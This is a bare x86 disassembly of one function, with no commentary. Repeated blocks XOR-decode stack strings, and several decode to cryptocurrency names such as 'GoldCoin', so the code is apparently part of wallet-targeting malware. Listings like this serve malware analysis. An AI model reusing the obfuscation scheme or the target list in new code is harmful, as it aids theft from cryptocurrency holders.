mov ecx, esp
mov dword [ebp - 0x4ab], 0
push eax
movups xmmword [ebp - 0x4bb], xmm0
mov word [ebp - 0x4a7], 0
mov byte [ebp - 0x4a5], 0
call fcn.0048ccc0
mov byte [ebp - 4], 0xec
xor ecx, ecx
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x4c3], al
inc ecx
cmp ecx, 8
jb 0x419723
lea eax, [ebp - 0x4c3]
mov dword [0x565624], ecx
push eax
lea ecx, [ebp - 0xef0]
mov byte [ebp - 0x4bb], 0
call fcn.00402b70
lea ecx, [ebp - 0xef0]
call fcn.00402c10
sub esp, 0x18
mov dword [ebp - 0x18], eax
mov esi, esp
mov dword [ebp - 0x1c], esi
mov ecx, esi
push dword [ebp - 0x20]
call fcn.00402c20
mov byte [ebp - 4], 0xee
mov edx, dword [ebp - 0x18]
mov ecx, edx
lea eax, [ecx + 1]
mov dword [ebp - 0x18], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x419782
sub ecx, dword [ebp - 0x18]
push ecx
push edx
mov ecx, esi
call fcn.00402c40
mov byte [ebp - 4], 0xed
mov ecx, edi
mov byte [ebp - 4], 0xef
call fcn.004145f0
add esp, 0x30
mov byte [ebp - 4], 0xd0
lea ecx, [ebp - 0xef0]
call fcn.00402ad0
sub esp, 0x18
mov dword [ebp - 0x14a], 0xd6dddfe8
lea eax, [ebx + 8]
mov dword [ebp - 0x20], esp
xorps xmm0, xmm0
mov dword [ebp - 0x146], 0xd8dcdbf0
mov ecx, esp
mov dword [ebp - 0x142], 0xf6fe9097
push eax
mov word [ebp - 0x13e], 0x95ff
movups xmmword [ebp - 0x13c], xmm0
mov dword [ebp - 0x12c], 0
mov word [ebp - 0x128], 0
mov byte [ebp - 0x126], 0
call fcn.0048ccc0
mov byte [ebp - 4], 0xf0
xor ecx, ecx
nop dword [eax + eax]
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x14a], al
inc ecx
cmp ecx, 0xe
jb 0x419820
lea eax, [ebp - 0x14a]
mov dword [0x565524], ecx
push eax
lea ecx, [ebp - 0xf08]
mov byte [ebp - 0x13c], 0
call fcn.00402b70
sub esp, 0x18
mov byte [ebp - 4], 0xf1
lea ecx, [ebp - 0xf08]
mov esi, esp
call fcn.00402c10
push eax
mov ecx, esi
call fcn.00402b70
mov ecx, edi
mov byte [ebp - 4], 0xf2
call fcn.004145f0
add esp, 0x30
mov byte [ebp - 4], 0xd0
lea ecx, [ebp - 0xf08]
call fcn.00402ad0
sub esp, 0x18
mov dword [ebp - 0x6c3], 0xddf2ffe6
lea eax, [ebx + 8]
mov dword [ebp - 0x20], esp
xorps xmm0, xmm0
mov word [ebp - 0x6bf], 0xdada
mov ecx, esp
mov dword [ebp - 0x6ad], 0
push eax
movups xmmword [ebp - 0x6bd], xmm0
mov word [ebp - 0x6a9], 0
mov byte [ebp - 0x6a7], 0
call fcn.0048ccc0
mov byte [ebp - 4], 0xf3
xor ecx, ecx
nop word [eax + eax]
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x6c3], al
inc ecx
cmp ecx, 6
jb 0x4198e0
lea eax, [ebp - 0x6c3]
mov dword [0x565548], ecx
push eax
lea ecx, [ebp - 0xf20]
mov byte [ebp - 0x6bd], 0
call fcn.00402b70
sub esp, 0x18
mov byte [ebp - 4], 0xf4
lea ecx, [ebp - 0xf20]
mov esi, esp
call fcn.00402c10
push eax
mov ecx, esi
call fcn.00402b70
mov ecx, edi
mov byte [ebp - 4], 0xf5
call fcn.004145f0
add esp, 0x30
mov byte [ebp - 4], 0xd0
lea ecx, [ebp - 0xf20]
call fcn.00402ad0
sub esp, 0x18
mov dword [ebp - 0x1da], 0xdbd7dee6
lea eax, [ebx + 8]
mov dword [ebp - 0x20], esp
xorps xmm0, xmm0
mov dword [ebp - 0x1d6], 0xd3c1dddd
mov ecx, esp
mov dword [ebp - 0x1d2], 0xd4d0d7d4
push eax
movups xmmword [ebp - 0x1ce], xmm0
mov dword [ebp - 0x1be], 0
mov word [ebp - 0x1ba], 0
mov byte [ebp - 0x1b8], 0
call fcn.0048ccc0
mov byte [ebp - 4], 0xf6
xor ecx, ecx
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x1da], al
inc ecx
cmp ecx, 0xc
jb 0x4199a2
lea eax, [ebp - 0x1da]
mov dword [0x565528], ecx
push eax
lea ecx, [ebp - 0xf38]
mov byte [ebp - 0x1ce], 0
call fcn.00402b70
sub esp, 0x18
mov byte [ebp - 4], 0xf7
lea ecx, [ebp - 0xf38]
mov esi, esp
call fcn.00402c10
push eax
mov ecx, esi
call fcn.00402b70
mov ecx, edi
mov byte [ebp - 4], 0xf8
call fcn.004145f0
add esp, 0x30
mov byte [ebp - 4], 0xd0
lea ecx, [ebp - 0xf38]
call fcn.00402ad0
sub esp, 0x18
mov dword [ebp - 0x6fd], 0xddd2c8e6
lea eax, [ebx + 8]
mov dword [ebp - 0x20], esp
xorps xmm0, xmm0
mov word [ebp - 0x6f9], 0xdada
mov ecx, esp
mov dword [ebp - 0x6e7], 0
push eax
movups xmmword [ebp - 0x6f7], xmm0
mov word [ebp - 0x6e3], 0
mov byte [ebp - 0x6e1], 0
call fcn.0048ccc0
mov byte [ebp - 4], 0xf9
xor ecx, ecx
nop dword [eax]
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x6fd], al
inc ecx
cmp ecx, 6
jb 0x419a60
lea eax, [ebp - 0x6fd]
mov dword [0x565548], ecx
push eax
lea ecx, [ebp - 0xf50]
mov byte [ebp - 0x6f7], 0
call fcn.00402b70
sub esp, 0x18
mov byte [ebp - 4], 0xfa
lea ecx, [ebp - 0xf50]
mov esi, esp
call fcn.00402c10
push eax
mov ecx, esi
call fcn.00402b70
mov ecx, edi
mov byte [ebp - 4], 0xfb
call fcn.004145f0
add esp, 0x30
mov byte [ebp - 4], 0xd0
lea ecx, [ebp - 0xf50]
call fcn.00402ad0
sub esp, 0x18
mov dword [ebp - 0x4a4], 0xd3d6d5e2
lea eax, [ebx + 8]
mov dword [ebp - 0x20], esp
xorps xmm0, xmm0
mov dword [ebp - 0x4a0], 0xd8dcdbd0
mov ecx, esp
mov dword [ebp - 0x48c], 0
push eax
movups xmmword [ebp - 0x49c], xmm0
mov word [ebp - 0x488], 0
mov byte [ebp - 0x486], 0
call fcn.0048ccc0
mov byte [ebp - 4], 0xfc
xor ecx, ecx
nop dword [eax + eax]
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x4a4], al
inc ecx
cmp ecx, 8
jb 0x419b20
lea eax, [ebp - 0x4a4]
mov dword [0x565624], ecx
push eax
lea ecx, [ebp - 0xf68]
mov byte [ebp - 0x49c], 0
call fcn.00402b70
sub esp, 0x18
mov byte [ebp - 4], 0xfd
lea ecx, [ebp - 0xf68]
mov esi, esp
call fcn.00402c10
push eax
mov ecx, esi
call fcn.00402b70
mov ecx, edi
mov byte [ebp - 4], 0xfe
call fcn.004145f0
add esp, 0x30
mov byte [ebp - 4], 0xd0
lea ecx, [ebp - 0xf68]
call fcn.00402ad0
sub esp, 0x18
mov dword [ebp - 0x688], 0xd1dfd9e2
lea eax, [ebx + 8]
mov dword [ebp - 0x20], esp
xorps xmm0, xmm0
mov word [ebp - 0x684], 0xdddc
mov ecx, esp
mov byte [ebp - 0x682], 0xdb
push eax
movups xmmword [ebp - 0x681], xmm0
mov dword [ebp - 0x671], 0
mov word [ebp - 0x66d], 0
mov byte [ebp - 0x66b], 0
call fcn.0048ccc0
mov byte [ebp - 4], 0xff
xor ecx, ecx
nop
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x688], al
inc ecx
cmp ecx, 7
jb 0x419be0
lea eax, [ebp - 0x688]
mov dword [0x565560], ecx
push eax
lea ecx, [ebp - 0xf80]
mov byte [ebp - 0x681], 0
call fcn.00402b70
sub esp, 0x18
mov dword [ebp - 4], 0x100
lea ecx, [ebp - 0xf80]
mov esi, esp
call fcn.00402c10
push eax
mov ecx, esi
call fcn.00402b70
mov ecx, edi
mov byte [ebp - 4], 1
call fcn.004145f0
add esp, 0x30
mov dword [ebp - 4], 0xd0
lea ecx, [ebp - 0xf80]
call fcn.00402ad0
sub esp, 0x18
mov dword [ebp - 0x485], 0xd7dcd1e1
lea eax, [ebx + 8]
mov dword [ebp - 0x20], esp
xorps xmm0, xmm0
mov dword [ebp - 0x481], 0xd8dcdbd0
mov ecx, esp
mov dword [ebp - 0x46d], 0
push eax
movups xmmword [ebp - 0x47d], xmm0
mov word [ebp - 0x469], 0
mov byte [ebp - 0x467], 0
call fcn.0048ccc0
mov dword [ebp - 4], 0x102
xor ecx, ecx
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x485], al
inc ecx
cmp ecx, 8
jb 0x419ca1
lea eax, [ebp - 0x485]
mov dword [0x565624], ecx
push eax
lea ecx, [ebp - 0xf98]
mov byte [ebp - 0x47d], 0
call fcn.00402b70
sub esp, 0x18
mov byte [ebp - 4], 3
lea ecx, [ebp - 0xf98]
mov esi, esp
call fcn.00402c10
push eax
mov ecx, esi
call fcn.00402b70
mov ecx, edi
mov byte [ebp - 4], 4
call fcn.004145f0
add esp, 0x30
mov dword [ebp - 4], 0xd0
lea ecx, [ebp - 0xf98]
call fcn.00402ad0
sub esp, 0x18
mov dword [ebp - 0x3aa], 0xdfd8c2ff
lea eax, [ebx + 8]
mov dword [ebp - 0x20], esp
xorps xmm0, xmm0
mov dword [ebp - 0x3a6], 0xdfdad7d6
mov ecx, esp
mov byte [ebp - 0x3a2], 0xd9
push eax
movups xmmword [ebp - 0x3a1], xmm0
mov dword [ebp - 0x391], 0
mov word [ebp - 0x38d], 0
mov byte [ebp - 0x38b], 0
call fcn.0048ccc0
mov dword [ebp - 4], 0x105
xor ecx, ecx
nop word [eax + eax]
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x3aa], al
inc ecx
cmp ecx, 9
jb 0x419d70
lea eax, [ebp - 0x3aa]
mov dword [0x565630], ecx
push eax
lea ecx, [ebp - 0xfb0]
mov byte [ebp - 0x3a1], 0
call fcn.00402b70
lea ecx, [ebp - 0xfb0]
call fcn.00402c10
sub esp, 0x18
mov dword [ebp - 0x18], eax
mov esi, esp
mov dword [ebp - 0x1c], esi
mov ecx, esi
push dword [ebp - 0x20]
call fcn.00402c20
mov byte [ebp - 4], 7
mov edx, dword [ebp - 0x18]
mov ecx, edx
lea eax, [ecx + 1]
mov dword [ebp - 0x18], eax
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x419dd0
sub ecx, dword [ebp - 0x18]
push ecx
push edx
mov ecx, esi
call fcn.00402c40
mov byte [ebp - 4], 6
mov ecx, edi
mov byte [ebp - 4], 8
call fcn.004145f0
add esp, 0x30
mov dword [ebp - 4], 0xd0
lea ecx, [ebp - 0xfb0]
call fcn.00402ad0
sub esp, 0x18
mov dword [ebp - 0x38a], 0xc0c3d5fb
lea eax, [ebx + 8]
mov dword [ebp - 0x20], esp
xorps xmm0, xmm0
mov dword [ebp - 0x386], 0xdfdad7d2
mov ecx, esp
mov byte [ebp - 0x382], 0xd9
push eax
movups xmmword [ebp - 0x381], xmm0
mov dword [ebp - 0x371], 0
mov word [ebp - 0x36d], 0
mov byte [ebp - 0x36b], 0
call fcn.0048ccc0
mov dword [ebp - 4], 0x109
xor ecx, ecx
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x38a], al
inc ecx
cmp ecx, 9
jb 0x419e60
lea eax, [ebp - 0x38a]
mov dword [0x565630], ecx
push eax
lea ecx, [ebp - 0xfc8]
mov byte [ebp - 0x381], 0
call fcn.00402b70
lea ecx, [ebp - 0xfc8]
call fcn.00402c10
sub esp, 0x18
mov dword [ebp - 0x18], eax
mov esi, esp
mov dword [ebp - 0x1c], esi
mov ecx, esi
push dword [ebp - 0x20]
call fcn.00402c20
mov byte [ebp - 4], 0xb
mov edx, dword [ebp - 0x18]
mov ecx, edx
lea eax, [ecx + 1]
mov dword [ebp - 0x18], eax
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x419ec0
sub ecx, dword [ebp - 0x18]
push ecx
push edx
mov ecx, esi
call fcn.00402c40
mov byte [ebp - 4], 0xa
mov ecx, edi
mov byte [ebp - 4], 0xc
call fcn.004145f0
add esp, 0x30
mov dword [ebp - 4], 0xd0
lea ecx, [ebp - 0xfc8]
call fcn.00402ad0
sub esp, 0x18
mov dword [ebp - 0x71a], 0xddf2f1f6
lea eax, [ebx + 8]
mov dword [ebp - 0x20], esp
xorps xmm0, xmm0
mov word [ebp - 0x716], 0xdada
mov ecx, esp
mov dword [ebp - 0x704], 0
push eax
movups xmmword [ebp - 0x714], xmm0
mov word [ebp - 0x700], 0
mov byte [ebp - 0x6fe], 0
call fcn.0048ccc0
mov dword [ebp - 4], 0x10d
xor ecx, ecx
nop dword [eax + eax]
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x71a], al
inc ecx
cmp ecx, 6
jb 0x419f50
lea eax, [ebp - 0x71a]
mov dword [0x565548], ecx
push eax
lea ecx, [ebp - 0xfe0]
mov byte [ebp - 0x714], 0
call fcn.00402b70
lea ecx, [ebp - 0xfe0]
call fcn.00402c10
sub esp, 0x18
mov dword [ebp - 0x18], eax
mov esi, esp
mov dword [ebp - 0x1c], esi
mov ecx, esi
push dword [ebp - 0x20]
call fcn.00402c20
mov byte [ebp - 4], 0xf
mov edx, dword [ebp - 0x18]
mov ecx, edx
lea eax, [ecx + 1]
mov dword [ebp - 0x18], eax
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x419fb0
sub ecx, dword [ebp - 0x18]
push ecx
push edx
mov ecx, esi
call fcn.00402c40
mov byte [ebp - 4], 0xe
mov ecx, edi
mov byte [ebp - 4], 0x10
call fcn.004145f0
add esp, 0x30
mov dword [ebp - 4], 0xd0
lea ecx, [ebp - 0xfe0]
call fcn.00402ad0
sub esp, 0x18
mov dword [ebp - 0x752], 0xc1d0d3f5
lea eax, [ebx + 8]
mov dword [ebp - 0x20], esp
xorps xmm0, xmm0
mov byte [ebp - 0x74e], 0xdb
mov ecx, esp
mov dword [ebp - 0x73d], 0
push eax
movups xmmword [ebp - 0x74d], xmm0
mov word [ebp - 0x739], 0
mov byte [ebp - 0x737], 0
call fcn.0048ccc0
mov dword [ebp - 4], 0x111
xor ecx, ecx
nop word [eax + eax]
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x752], al
inc ecx
cmp ecx, 5
jb 0x41a040
lea eax, [ebp - 0x752]
mov dword [0x565544], ecx
push eax
lea ecx, [ebp - 0xff8]
mov byte [ebp - 0x74d], 0
call fcn.00402b70
lea ecx, [ebp - 0xff8]
call fcn.00402c10
sub esp, 0x18
mov dword [ebp - 0x18], eax
mov esi, esp
mov dword [ebp - 0x1c], esi
mov ecx, esi
push dword [ebp - 0x20]
call fcn.00402c20
mov byte [ebp - 4], 0x13
mov edx, dword [ebp - 0x18]
mov ecx, edx
lea eax, [ecx + 1]
mov dword [ebp - 0x18], eax
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41a0a0
sub ecx, dword [ebp - 0x18]
push ecx
push edx
mov ecx, esi
call fcn.00402c40
mov byte [ebp - 4], 0x12
mov ecx, edi
mov byte [ebp - 4], 0x14
call fcn.004145f0
add esp, 0x30
mov dword [ebp - 4], 0xd0
lea ecx, [ebp - 0xff8]
call fcn.00402ad0
sub esp, 0x18
mov dword [ebp - 0x66a], 0xd1c7d5cb
lea eax, [ebx + 8]
mov dword [ebp - 0x20], esp
xorps xmm0, xmm0
mov word [ebp - 0x666], 0xdddc
mov ecx, esp
mov byte [ebp - 0x664], 0xdb
push eax
movups xmmword [ebp - 0x663], xmm0
mov dword [ebp - 0x653], 0
mov word [ebp - 0x64f], 0
mov byte [ebp - 0x64d], 0
call fcn.0048ccc0
mov dword [ebp - 4], 0x115
xor ecx, ecx
nop
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x66a], al
inc ecx
cmp ecx, 7
jb 0x41a130
lea eax, [ebp - 0x66a]
mov dword [0x565560], ecx
push eax
lea ecx, [ebp - 0x1010]
mov byte [ebp - 0x663], 0
call fcn.00402b70
sub esp, 0x18
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x1010]
mov esi, esp
call fcn.00402c10
push eax
mov ecx, esi
call fcn.00402b70
mov ecx, edi
mov byte [ebp - 4], 0x17
call fcn.004145f0
add esp, 0x30
mov dword [ebp - 4], 0xd0
lea ecx, [ebp - 0x1010]
call fcn.00402ad0
sub esp, 0x18
mov dword [ebp - 0x241], 0xdbd6d9cb
lea eax, [ebx + 8]
mov dword [ebp - 0x20], esp
xorps xmm0, xmm0
mov dword [ebp - 0x23d], 0xd5d9d5c7
mov ecx, esp
mov word [ebp - 0x239], 0xd1d8
push eax
mov byte [ebp - 0x237], 0xd7
movups xmmword [ebp - 0x236], xmm0
mov dword [ebp - 0x226], 0
mov word [ebp - 0x222], 0
mov byte [ebp - 0x220], 0
call fcn.0048ccc0
mov dword [ebp - 4], pe_nt_image_headers32
xor ecx, ecx
nop
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x241], al
inc ecx
cmp ecx, 0xb
jb 0x41a200
lea eax, [ebp - 0x241]
mov dword [0x565530], ecx
push eax
lea ecx, [ebp - 0x1028]
mov byte [ebp - 0x236], 0
call fcn.00402b70
sub esp, 0x18
mov byte [ebp - 4], 0x19
lea ecx, [ebp - 0x1028]
mov esi, esp
call fcn.00402c10
push eax
mov ecx, esi
call fcn.00402b70
mov ecx, edi
mov byte [ebp - 4], 0x1a
call fcn.004145f0
add esp, 0x30
mov dword [ebp - 4], 0xd0
lea ecx, [ebp - 0x1028]
call fcn.00402ad0
sub esp, 0x18
mov dword [ebp - 0x466], 0xd7c5d9e3
lea eax, [ebx + 8]
mov dword [ebp - 0x20], esp
xorps xmm0, xmm0
mov dword [ebp - 0x462], 0xd8dcdbd0
mov ecx, esp
mov dword [ebp - 0x44e], 0
push eax
movups xmmword [ebp - 0x45e], xmm0
mov word [ebp - 0x44a], 0
mov byte [ebp - 0x448], 0
call fcn.0048ccc0
mov dword [ebp - 4], 0x11b
xor ecx, ecx
nop
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x466], al
inc ecx
cmp ecx, 8
jb 0x41a2c0
lea eax, [ebp - 0x466]
mov dword [0x565624], ecx
push eax
lea ecx, [ebp - 0x1040]
mov byte [ebp - 0x45e], 0
call fcn.00402b70
sub esp, 0x18
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0x1040]
mov esi, esp
call fcn.00402c10
push eax
mov ecx, esi
call fcn.00402b70
mov ecx, edi
mov byte [ebp - 4], 0x1d
call fcn.004145f0
add esp, 0x30
mov dword [ebp - 4], 0xd0
lea ecx, [ebp - 0x1040]
call fcn.00402ad0
sub esp, 0x18
mov dword [ebp - 0x447], 0xd6d5d5fd
lea eax, [ebx + 8]
mov dword [ebp - 0x20], esp
xorps xmm0, xmm0
mov dword [ebp - 0x443], 0xd8dcdbd0
mov ecx, esp
mov dword [ebp - 0x42f], 0
push eax
movups xmmword [ebp - 0x43f], xmm0
mov word [ebp - 0x42b], 0
mov byte [ebp - 0x429], 0
call fcn.0048ccc0
mov dword [ebp - 4], 0x11e
xor ecx, ecx
nop
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x447], al
inc ecx
cmp ecx, 8
jb 0x41a380
lea eax, [ebp - 0x447]
mov dword [0x565624], ecx
push eax
lea ecx, [ebp - 0x1058]
mov byte [ebp - 0x43f], 0
call fcn.00402b70
sub esp, 0x18
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0x1058]
mov esi, esp
call fcn.00402c10
push eax
mov ecx, esi
call fcn.00402b70
mov ecx, edi
mov byte [ebp - 4], 0x20
call fcn.004145f0
add esp, 0x30
mov dword [ebp - 4], 0xd0
lea ecx, [ebp - 0x1058]
call fcn.00402ad0
movaps xmm0, xmmword [0x5518a0]
lea eax, [ebx + 8]
sub esp, 0x18
mov dword [ebp - 0xced], 0
movups xmmword [ebp - 0xd0d], xmm0
mov dword [ebp - 0x20], esp
mov ecx, esp
xorps xmm0, xmm0
mov word [ebp - 0xce9], 0
push eax
movups xmmword [ebp - 0xcfd], xmm0
mov byte [ebp - 0xce7], 0
call fcn.0048ccc0
mov dword [ebp - 4], 0x121
xor ecx, ecx
nop dword [eax + eax]
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0xd0d], al
inc ecx
cmp ecx, 0x10
jb 0x41a440
lea eax, [ebp - 0xd0d]
mov dword [0x565628], ecx
push eax
lea ecx, [ebp - 0x1070]
mov byte [ebp - 0xcfd], 0
call fcn.00402b70
sub esp, 0x18
mov byte [ebp - 4], 0x22
lea ecx, [ebp - 0x1070]
mov esi, esp
call fcn.00402c10
push eax
mov ecx, esi
call fcn.00402b70
mov ecx, edi
mov byte [ebp - 4], 0x23
call fcn.004145f0
add esp, 0x30
mov dword [ebp - 4], 0xd0
lea ecx, [ebp - 0x1070]
call fcn.00402ad0
sub esp, 0x18
mov dword [ebp - 0x21f], 0xd5d5d5e3
lea eax, [ebx + 8]
mov dword [ebp - 0x20], esp
xorps xmm0, xmm0
mov dword [ebp - 0x21b], 0xfa95c6d6
mov ecx, esp
mov word [ebp - 0x217], 0xcede
push eax
mov byte [ebp - 0x215], 0xdc
movups xmmword [ebp - 0x214], xmm0
mov dword [ebp - 0x204], 0
mov word [ebp - 0x200], 0
mov byte [ebp - 0x1fe], 0
call fcn.0048ccc0
mov dword [ebp - 4], 0x124
xor ecx, ecx
nop
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x21f], al
inc ecx
cmp ecx, 0xb
jb 0x41a510
lea eax, [ebp - 0x21f]
mov dword [0x565530], ecx
push eax
lea ecx, [ebp - 0x1088]
mov byte [ebp - 0x214], 0
call fcn.00402b70
sub esp, 0x18
mov byte [ebp - 4], 0x25
lea ecx, [ebp - 0x1088]
mov esi, esp
call fcn.00402c10
push eax
mov ecx, esi
call fcn.00402b70
mov ecx, edi
mov byte [ebp - 4], 0x26
call fcn.004145f0
add esp, 0x30
lea ecx, [ebp - 0x1088]
call fcn.00402ad0
lea ecx, [ebp - 0xd58]
call fcn.00402ad0
lea ecx, [ebp - 0x7e8]
call fcn.00402ad0
lea ecx, [ebp - 0xd70]
call fcn.00402ad0
lea ecx, [ebp - 0xd88]
call fcn.00402ad0
lea ecx, [ebp - 0xda0]
call fcn.00402ad0
lea ecx, [ebp - 0xdb8]
call fcn.00402ad0
lea ecx, [ebp - 0xdd0]
call fcn.00402ad0
lea ecx, [ebp - 0xde8]
call fcn.00402ad0
lea ecx, [ebp - 0xe00]
call fcn.00402ad0
lea ecx, [ebp - 0xe18]
call fcn.00402ad0
lea ecx, [ebp - 0x7d0]
call fcn.00402ad0
lea ecx, [ebp - 0xe30]
call fcn.00402ad0
lea ecx, [ebp - 0xe48]
call fcn.00402ad0
lea ecx, [ebp - 0xe60]
call fcn.00402ad0
lea ecx, [ebp - 0xe78]
call fcn.00402ad0
lea ecx, [ebp - 0xe90]
call fcn.00402ad0
lea ecx, [ebx + 8]
call fcn.00402ad0
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret